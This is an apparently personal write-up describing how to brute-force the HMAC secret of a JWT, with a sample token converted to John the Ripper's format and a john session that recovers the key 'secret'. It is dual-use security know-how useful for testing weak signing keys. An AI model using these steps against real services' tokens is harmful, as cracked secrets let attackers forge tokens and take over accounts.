I ended up writing a little Python script that uses PyJWT to parse the JWT and check the signature.
There is also jwtbrute. I haven't tested it, but it seems to be a bit more efficient than my script because it does much work such as base64-decoding outside of the loop.
If you want to crack JWTs using John the Ripper, you need to convert their format to something like this:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEyMzQ1Njc4OTAsIm5hbWUiOiJKb2huIERvZSIsImFkbWluIjp0cnVlfQ#7a86835464c295175fc5465788fb377fc16624390313f5424055ea2b1a4bb2db
As you can see the first two parts are the same, but the signature is now hex instead of base64. Also, it is separated from the data with a #
instead of .
. I wrote a little script to do the conversion.
You also need a recent version of john
. The version that comes with Kali didn't work for me, but the version on GitHub did.
$ ./john ~/dev/crackjwt/jwt.john
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
secret (?)
1g 0:00:00:00 DONE 2/3 (2016-08-24 15:58) 6.666g/s 218453p/s 218453c/s 218453C/s 123456..skyline!
Use the "--show" option to display all of the cracked passwords reliably
Session completed